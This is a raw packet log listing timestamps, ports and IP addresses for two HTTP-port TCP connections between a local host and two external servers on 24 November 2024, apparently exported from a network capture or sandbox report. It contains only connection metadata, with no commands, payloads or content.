Nov 24, 2024 12:24:29.738208055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.738271952 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.739156961 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.739203930 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.739283085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.739326000 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.740288973 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.740334988 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.740413904 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.740457058 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.741367102 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.741413116 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.741461039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.741506100 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.742538929 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.742588043 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.742650032 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.742692947 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.743580103 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.743626118 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.743699074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.743741989 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.744705915 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.744752884 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.744894981 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.744940996 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.745814085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.745861053 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.745949984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.745994091 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.746884108 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.746929884 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.746978998 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.747021914 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.747998953 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.748055935 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.748169899 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.748243093 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.749115944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.749169111 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.749219894 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.749255896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.750210047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.750253916 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.750299931 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.750344992 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.751307964 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.751362085 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.751424074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.751481056 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.752422094 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.752471924 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.752549887 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.752597094 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.753019094 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.753187895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.753237009 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.753444910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.753528118 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.753546953 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.753565073 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.753572941 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.753587008 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.753606081 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.754095078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.754223108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.754266977 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.754563093 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.754604101 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.754928112 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.755023003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.755064011 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.761192083 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.761322021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.761365891 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.761609077 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.761723995 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.761761904 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.762399912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.762475967 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.762520075 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.763259888 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.763381958 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.763420105 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.764189959 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.764347076 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.764394999 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.765165091 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.765475035 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.765522957 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.765844107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.766014099 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.766052008 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.766745090 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.766849041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.766890049 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.767716885 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.767810106 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.767852068 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.768603086 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.768675089 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.768738031 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.769177914 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.769243002 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.769283056 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.769896984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.770010948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.770055056 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.770721912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.770811081 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.770852089 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.771580935 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.771694899 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.771748066 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.772389889 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.772504091 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.772546053 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.773226976 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.773366928 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.773406982 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.774061918 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.774216890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.774259090 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.774899960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.775033951 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.775146008 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.775732040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.775917053 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.775962114 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.776570082 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.776660919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.776701927 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.777394056 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.777518988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.777561903 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.778209925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.778337002 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.778378010 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.779082060 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.779165030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.779206038 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.779910088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.780035973 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.780081034 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.780729055 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.780864000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.780905962 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.781538010 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.781661034 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.781706095 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.782371998 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.782516956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.782561064 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.783238888 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.783354998 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.783390999 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.784065962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.784182072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.784224987 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.784915924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.785101891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.785141945 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.785721064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.785821915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.785885096 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.786639929 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.786712885 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.786763906 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.787377119 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.787463903 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.787503958 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.788237095 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.788444996 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.788490057 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.789077044 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.789300919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.789344072 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.789897919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.790023088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.790066957 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.790735006 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.790904045 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.790946960 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.791548967 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.791599989 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.791640043 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.792419910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.792556047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.792612076 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.793247938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.793521881 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.793569088 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.794229031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.794406891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.794450045 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.794899940 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.794997931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.795039892 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.795725107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.795881033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.795938015 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.796663046 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.850286961 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.879841089 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.879987001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.880033970 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.880279064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.880338907 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.880379915 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.881047010 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.881372929 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.881416082 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.881429911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.882235050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.882298946 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.882466078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.883049011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.883090019 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.883141994 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.883892059 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.883946896 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.883976936 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.884661913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:29.884710073 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:29.893769026 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.893826962 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.893842936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.893883944 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.894320011 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.894366026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.894383907 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.894428968 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.895423889 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.895473003 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.895663023 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.895709991 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.896538973 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.896585941 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.896630049 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.896666050 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.897633076 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.897679090 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.897715092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.897763968 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.898740053 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.898785114 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.898868084 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.898912907 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.899893999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.899945974 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.899991035 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.900036097 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.900963068 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.901014090 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.901074886 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.901119947 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.902057886 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.902107000 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.902141094 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.902184963 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.903150082 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.903199911 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.903268099 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.903318882 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.904270887 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.904320955 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.904421091 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.904468060 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.905383110 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.905431986 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.905512094 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.905556917 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.906471968 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.906521082 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.906584978 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.906630993 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.907592058 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.907639027 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.907684088 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.907727957 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.908690929 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.908740044 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.908777952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.908821106 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.909801960 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.909851074 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.909946918 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.909992933 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.910892963 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.910959005 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.911003113 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.911041021 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.912003994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.912053108 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.912097931 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.912142038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.913135052 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.913197994 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.913275957 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.913324118 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.914233923 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.914300919 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.914324999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.914366961 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.915345907 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.915394068 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.915437937 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.915509939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.916425943 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.916472912 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.916548967 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.916593075 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.917531013 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.917574883 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.917638063 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.917679071 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.918646097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.918689966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.918735981 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.918773890 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.919766903 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.919820070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.919862032 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.919903040 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.920891047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.920936108 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.921009064 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.921053886 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.921967030 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.922013998 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.922096968 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.922139883 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.923085928 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.923126936 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.923162937 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.923208952 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.924182892 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.924228907 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:29.924346924 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:29.924388885 CET	49793	80	192.168.2.4	31.41.244.11
